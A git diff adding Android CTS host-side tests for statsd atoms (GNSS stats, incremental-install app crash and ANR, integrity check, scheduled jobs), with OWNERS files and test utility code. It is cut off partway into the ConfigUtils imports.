diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssStatsTests.java
new file mode 100644
index 0000000..c9a3303
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/GnssStatsTests.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.gnss;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class GnssStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testGnssStats() throws Exception {
+        // Get GnssMetrics as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.GNSS_STATS_FIELD_NUMBER);
+
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_LOCATION_GPS)) return;
+        // Whitelist this app against background location request throttling
+        String origWhitelist = getDevice().executeShellCommand(
+                "settings get global location_background_throttle_package_whitelist").trim();
+        getDevice().executeShellCommand(String.format(
+                "settings put global location_background_throttle_package_whitelist %s",
+                DeviceUtils.STATSD_ATOM_TEST_PKG));
+
+        try {
+            DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testGpsStatus");
+
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+            // Assert about GnssMetrics for the test app.
+            List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+            boolean found = false;
+            for (AtomsProto.Atom atom : atoms) {
+                AtomsProto.GnssStats state = atom.getGnssStats();
+                found = true;
+                if ((state.getSvStatusReports() > 0 || state.getL5SvStatusReports() > 0)
+                        && state.getLocationReports() == 0) {
+                    // Device is detected to be indoors and not able to acquire location.
+                    // flaky test device
+                    break;
+                }
+                assertThat(state.getLocationReports()).isGreaterThan((long) 0);
+                assertThat(state.getLocationFailureReports()).isAtLeast((long) 0);
+                assertThat(state.getTimeToFirstFixReports()).isGreaterThan((long) 0);
+                assertThat(state.getTimeToFirstFixMillis()).isGreaterThan((long) 0);
+                assertThat(state.getPositionAccuracyReports()).isGreaterThan((long) 0);
+                assertThat(state.getPositionAccuracyMeters()).isGreaterThan((long) 0);
+                assertThat(state.getTopFourAverageCn0Reports()).isGreaterThan((long) 0);
+                assertThat(state.getTopFourAverageCn0DbMhz()).isGreaterThan((long) 0);
+                assertThat(state.getL5TopFourAverageCn0Reports()).isAtLeast((long) 0);
+                assertThat(state.getL5TopFourAverageCn0DbMhz()).isAtLeast((long) 0);
+                assertThat(state.getSvStatusReports()).isAtLeast((long) 0);
+                assertThat(state.getSvStatusReportsUsedInFix()).isAtLeast((long) 0);
+                assertThat(state.getL5SvStatusReports()).isAtLeast((long) 0);
+                assertThat(state.getL5SvStatusReportsUsedInFix()).isAtLeast((long) 0);
+            }
+            assertWithMessage(String.format("Did not find a matching atom"))
+                    .that(found).isTrue();
+        } finally {
+            if ("null".equals(origWhitelist) || "".equals(origWhitelist)) {
+                getDevice().executeShellCommand(
+                        "settings delete global location_background_throttle_package_whitelist");
+            } else {
+                getDevice().executeShellCommand(String.format(
+                        "settings put global location_background_throttle_package_whitelist %s",
+                        origWhitelist));
+            }
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS
new file mode 100644
index 0000000..08841c7
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS
@@ -0,0 +1,2 @@
+# Owners of the GnssStats atom
+kragtenb@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/incremental/AppErrorAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/incremental/AppErrorAtomTests.java
new file mode 100644
index 0000000..e3204d2
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/incremental/AppErrorAtomTests.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.incremental;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.server.ErrorSource;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.incfs.install.IncrementalInstallSession;
+import com.android.incfs.install.adb.ddmlib.DeviceConnection;
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.io.File;
+import java.nio.file.Paths;
+import java.util.List;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+public class AppErrorAtomTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_INCREMENTAL_DELIVERY =
+            "android.software.incremental_delivery";
+    private static final String IDSIG_SUFFIX = ".idsig";
+    private static int INSTALL_TIMEOUT_SECONDS = 10;
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+    private IncrementalInstallSession mSession;
+
+    @Before
+    public void setUp() throws Exception {
+        if (!getDevice().hasFeature(FEATURE_INCREMENTAL_DELIVERY)) {
+            return;
+        }
+        super.setUp();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final File apk = buildHelper.getTestFile(DeviceUtils.STATSD_ATOM_TEST_APK);
+        assertNotNull(apk);
+        final File v4Signature = buildHelper.getTestFile(DeviceUtils.STATSD_ATOM_TEST_APK + IDSIG_SUFFIX);
+        assertNotNull(v4Signature);
+        mSession = new IncrementalInstallSession.Builder()
+                .addApk(Paths.get(apk.getAbsolutePath()),
+                        Paths.get(v4Signature.getAbsolutePath()))
+                .addExtraArgs("-g") // grant permissions
+                .setBlockFilter(block -> {
+                    if (block.getBlockIndex() > 3151 && block.getBlockIndex() < 3155) {
+                        // block some pages from res/raw, does not affect test run
+                        return false;
+                    }
+                    return true;
+                })
+                .build();
+        mSession.start(Executors.newCachedThreadPool(),
+                DeviceConnection.getFactory(getDevice().getSerialNumber()));
+        mSession.waitForInstallCompleted(INSTALL_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        assertTrue(getDevice().isPackageInstalled(DeviceUtils.STATSD_ATOM_TEST_PKG));
+        // Preload most of the pages to make sure the test can run but it also causes pending reads
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testLoadingApks");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mSession != null) {
+            mSession.close();
+        }
+        getDevice().uninstallPackage(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertFalse(getDevice().isPackageInstalled(DeviceUtils.STATSD_ATOM_TEST_PKG));
+        super.tearDown();
+    }
+
+    public void testAppCrashOnIncremental() throws Exception {
+        if (!getDevice().hasFeature(FEATURE_INCREMENTAL_DELIVERY)) {
+            return;
+        }
+        final int atomTag = AtomsProto.Atom.APP_CRASH_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag,  /*uidInAttributionChain=*/false);
+
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "StatsdCtsForegroundActivity", "action", "action.crash");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        AtomsProto.AppCrashOccurred atom = data.get(0).getAtom().getAppCrashOccurred();
+        // UID should belong to the run activity, not any system service.
+        assertThat(atom.getUid()).isGreaterThan(10000);
+        assertThat(atom.getEventType()).isEqualTo("crash");
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(AtomsProto.AppCrashOccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(AtomsProto.AppCrashOccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        assertTrue(atom.getIsIncremental());
+        assertFalse((1.0f - atom.getLoadingProgress()) < 0.0000001f);
+        assertTrue(atom.getMillisSinceOldestPendingRead() > 0);
+    }
+
+    public void testAppAnrIncremental() throws Exception {
+        if (!getDevice().hasFeature(FEATURE_INCREMENTAL_DELIVERY)) {
+            return;
+        }
+        final int atomTag = AtomsProto.Atom.ANR_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+        final int ANR_WAIT_MILLS = 20_000;
+
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "ANRActivity", null, null)) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG * 2);
+            getDevice().executeShellCommand(
+                    "am broadcast -a action_anr -p " + DeviceUtils.STATSD_ATOM_TEST_PKG);
+            Thread.sleep(ANR_WAIT_MILLS);
+        }
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
+        AtomsProto.ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(AtomsProto.ANROccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(AtomsProto.ANROccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertTrue(atom.getIsIncremental());
+        assertFalse((1.0f - atom.getLoadingProgress()) < 0.0000001f);
+        // Uncomment after b/184197791 is fixed
+        // assertTrue(atom.getMillisSinceOldestPendingRead() > ANR_WAIT_MILLS);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/incremental/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/incremental/OWNERS
new file mode 100644
index 0000000..3795493
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/incremental/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 554432
+alexbuy@google.com
+schfan@google.com
+toddke@google.com
+zyy@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/IntegrityCheckStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/IntegrityCheckStatsTests.java
new file mode 100644
index 0000000..ff17dfa
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/IntegrityCheckStatsTests.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.integrity;
+
+import static com.android.os.AtomsProto.IntegrityCheckResultReported.Response.ALLOWED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class IntegrityCheckStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+
+    public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.INTEGRITY_CHECK_RESULT_REPORTED_FIELD_NUMBER);
+
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data.size()).isEqualTo(1);
+        assertThat(data.get(0).getAtom().hasIntegrityCheckResultReported()).isTrue();
+        AtomsProto.IntegrityCheckResultReported result = data.get(0)
+                .getAtom().getIntegrityCheckResultReported();
+        assertThat(result.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        // we do not assert on certificates since it seem to differ by device.
+        assertThat(result.getInstallerPackageName()).isEqualTo("adb");
+        long testPackageVersion = 10;
+        assertThat(result.getVersionCode()).isEqualTo(testPackageVersion);
+        assertThat(result.getResponse()).isEqualTo(ALLOWED);
+        assertThat(result.getCausedByAppCertRule()).isFalse();
+        assertThat(result.getCausedByInstallerRule()).isFalse();
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
new file mode 100644
index 0000000..1236598
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
@@ -0,0 +1,2 @@
+# Owners of the IntegrityCheckResultReported atom
+songpan@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/JobSchedulerStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/JobSchedulerStatsTests.java
new file mode 100644
index 0000000..d282ffb
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/JobSchedulerStatsTests.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.jobscheduler;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class JobSchedulerStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String JOB_NAME =
+            "com.android.server.cts.device.statsdatom/.StatsdJobService";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testScheduledJobState() throws Exception {
+        final int atomTag = AtomsProto.Atom.SCHEDULED_JOB_STATE_CHANGED_FIELD_NUMBER;
+        Set<Integer> jobSchedule = new HashSet<>(
+                Arrays.asList(AtomsProto.ScheduledJobStateChanged.State.SCHEDULED_VALUE));
+        Set<Integer> jobOn = new HashSet<>(
+                Arrays.asList(AtomsProto.ScheduledJobStateChanged.State.STARTED_VALUE));
+        Set<Integer> jobOff = new HashSet<>(
+                Arrays.asList(AtomsProto.ScheduledJobStateChanged.State.FINISHED_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(jobSchedule, jobOn, jobOff);
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/true);
+        DeviceUtils.allowImmediateSyncs(getDevice());
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testScheduledJob");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        AtomTestUtils.assertStatesOccurred(stateSet, data, 0,
+                atom -> atom.getScheduledJobStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData e : data) {
+            assertThat(e.getAtom().getScheduledJobStateChanged().getJobName())
+                    .isEqualTo(JOB_NAME);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/OWNERS
new file mode 100644
index 0000000..c018129
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/jobscheduler/OWNERS
@@ -0,0 +1,6 @@
+# Owners of the ScheduledJobStateChanged atom
+ctate@android.com
+ctate@google.com
+kwekua@google.com
+omakoto@google.com
+yamasani@google.com
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/AtomTestUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/AtomTestUtils.java
new file mode 100644
index 0000000..dbb6699
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/AtomTestUtils.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.StatsLog;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+
+import com.google.common.collect.Range;
+
+import java.util.List;
+import java.util.Set;
+import java.util.function.Function;
+
+/**
+ * Contains miscellaneous helper functions that are used in statsd atom tests
+ */
+public final class AtomTestUtils {
+
+    public static final int WAIT_TIME_SHORT = 500;
+    public static final int WAIT_TIME_LONG = 1000;
+
+    public static final long NS_PER_SEC = (long) 1E+9;
+
+    /**
+     * Sends an AppBreadcrumbReported atom to statsd. For GaugeMetrics that are added using
+     * ConfigUtils, pulls are triggered when statsd receives an AppBreadcrumbReported atom, so
+     * calling this function is necessary for gauge data to be acquired.
+     *
+     * @param device test device can be retrieved using getDevice()
+     */
+    public static void sendAppBreadcrumbReportedAtom(ITestDevice device)
+            throws DeviceNotAvailableException {
+        String cmd = String.format("cmd stats log-app-breadcrumb %d %d", /*label=*/1,
+                AppBreadcrumbReported.State.START.ordinal());
+        device.executeShellCommand(cmd);
+    }
+
+    /**
+     * Asserts that each set of states in stateSets occurs at least once in data.
+     * Asserts that the states in data occur in the same order as the sets in stateSets.
+     *
+     * @param stateSets        A list of set of states, where each set represents an equivalent
+     *                         state of the device for the purpose of CTS.
+     * @param data             list of EventMetricData from statsd, produced by
+     *                         getReportMetricListData()
+     * @param wait             expected duration (in ms) between state changes; asserts that the
+     *                         actual wait
+     *                         time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
+     *                         assertion.
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public static void assertStatesOccurred(List<Set<Integer>> stateSets,
+            List<StatsLog.EventMetricData> data,
+            int wait, Function<AtomsProto.Atom, Integer> getStateFromAtom) {
+        // Sometimes, there are more events than there are states.
+        // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
+        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
+        int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
+        for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
+            AtomsProto.Atom atom = data.get(dataIndex).getAtom();
+            int state = getStateFromAtom.apply(atom);
+            // If state is in the current state set, we do not assert anything.
+            // If it is not, we expect to have transitioned to the next state set.
+            if (stateSets.get(stateSetIndex).contains(state)) {
+                // No need to assert anything. Just log it.
+                LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
+                        + "in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+            } else {
+                stateSetIndex += 1;
+                LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
+                        + " in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
+                assertWithMessage("Too many states").that(stateSetIndex)
+                        .isLessThan(stateSets.size());
+                assertWithMessage(String.format("Is in wrong state (%d)", state))
+                        .that(stateSets.get(stateSetIndex)).contains(state);
+                if (wait > 0) {
+                    assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
+                            wait / 2, wait * 5);
+                }
+            }
+        }
+        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
+    }
+
+    /**
+     * Asserts that the two events are within the specified range of each other.
+     *
+     * @param d0        the event that should occur first
+     * @param d1        the event that should occur second
+     * @param minDiffMs d0 should precede d1 by at least this amount
+     * @param maxDiffMs d0 should precede d1 by at most this amount
+     */
+    public static void assertTimeDiffBetween(
+            StatsLog.EventMetricData d0, StatsLog.EventMetricData d1,
+            int minDiffMs, int maxDiffMs) {
+        long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
+        assertWithMessage("Illegal time difference")
+                .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
+    }
+
+    // Checks that a timestamp has been truncated to be a multiple of 5 min
+    public static void assertTimestampIsTruncated(long timestampNs) {
+        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
+        assertWithMessage("Timestamp is not truncated")
+                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
+    }
+
+    /**
+     * Removes all elements from data prior to the first occurrence of an element of state. After
+     * this method is called, the first element of data (if non-empty) is guaranteed to be an
+     * element in state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public static void popUntilFind(List<StatsLog.EventMetricData> data, Set<Integer> state,
+            Function<AtomsProto.Atom, Integer> getStateFromAtom) {
+        int firstStateIdx;
+        for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
+            AtomsProto.Atom atom = data.get(firstStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (firstStateIdx == 0) {
+            // First first element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(0, firstStateIdx).clear();
+    }
+
+    /**
+     * Removes all elements from data after the last occurrence of an element of state. After this
+     * method is called, the last element of data (if non-empty) is guaranteed to be an element in
+     * state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public static void popUntilFindFromEnd(List<StatsLog.EventMetricData> data, Set<Integer> state,
+            Function<AtomsProto.Atom, Integer> getStateFromAtom) {
+        int lastStateIdx;
+        for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
+            AtomsProto.Atom atom = data.get(lastStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (lastStateIdx == data.size() - 1) {
+            // Last element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(lastStateIdx + 1, data.size()).clear();
+    }
+
+    private AtomTestUtils() {}
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
new file mode 100644
index 0000000..5671afb
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -0,0 +1,341 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.FieldFilter;
+import com.android.internal.os.StatsdConfigProto.FieldMatcher;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
